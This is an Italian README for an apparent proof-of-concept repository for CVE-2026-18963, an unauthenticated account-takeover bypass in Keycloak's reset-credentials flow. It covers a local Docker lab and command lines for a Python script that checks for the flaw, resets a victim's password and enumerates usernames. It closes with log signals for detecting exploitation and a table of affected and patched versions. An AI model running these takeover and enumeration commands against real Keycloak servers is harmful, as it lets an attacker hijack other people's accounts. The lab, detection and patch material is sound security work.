
Questo repository è una proof of concept della cve-2026-18963. Utilizzalo solo su prodotti legali (laboratorio, locale, ...).
Bypass di reset-credentials in Keycloak → takeover dell'account non autenticato CVSS 9.1 | Interessato: Keycloak 26.0.0 – 26.7.1
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC script (Python 3.9+, stdlib only)
├── README.md
├── docker-compose.yml <- Lab environment
└── realm-poc.json <- Keycloak realm config (auto-imported)
docker compose up -d
Oppure esegui Keycloak direttamente, senza l'importazione del realm:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
Attendi circa 30–60 secondi affinché Keycloak completi l'avvio.
| Servizio | URL | Versione | Stato |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | VULNERABILE ⚠️ |
| Mailpit | http://localhost:8025 | latest | Cattura le email |
admin / adminvictim / OriginalPassw0rd!poc | Client: poc-apppoc o l'utente victim mancano, importalo manualmente:
Manage realms → Create realm → Upload realm-poc.json.python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
Risultato atteso su kc-vuln:
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
Effetti collaterali: viene inviata un'email di reset alla vittima (visualizzala su http://localhost:8025), e
emailVerifiedviene impostato sutrue.
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
Successivamente, verifica effettuando l'accesso su http://localhost:8080/realms/poc/account
con victim / PoCPassw0rd!1.
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
Il realm viene importato solo al primo avvio, quindi il ripristino più semplice consiste nel ricreare l'ambiente da zero:
docker compose down -v && docker compose up -d
In alternativa, reimposta manualmente la password nella console di amministrazione
(http://localhost:8080/admin): Users → victim → Credentials → Reset password
→ OriginalPassw0rd!.
docker compose down -v
| Segnale | Legittimo | Exploit |
|---|---|---|
GET /login-actions/action-token?... | ✅ Sì | ❌ No |
POST .../reset-credentials con body tryAnotherWay=yes | ❌ No | ✅ Sì |
SEND_RESET_PASSWORD → UPDATE_PASSWORD con lo stesso code_id < 2 s | Raro | ✅ Sempre |
emailVerified passa a true senza evento VERIFY_EMAIL | ❌ | ✅ Sempre |
In Mailpit (http://localhost:8025) l'email di reset della password arriva nella casella di posta della vittima, ma il link al suo interno non viene mai cliccato quando l'exploit ha successo.
| Linea di rilascio | Interessata | Correzione |
|---|---|---|
| ≤ 17 (WildFly) | No | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | Nessuna (passare a 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15 (backport vendor) |
| 26.5 | 26.5.0 – 26.5.7 | Nessuna |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6 (backport vendor) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
Le versioni precedenti alla 26.0 non sono interessate: la nota persistente
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYEDe la schermata di selezione "Try another way" nel flusso di reset sono state introdotte nella 26.0.0. Le build più vecchie semplicemente non hanno il percorso di codice vulnerabile — il che non equivale a essere state corrette.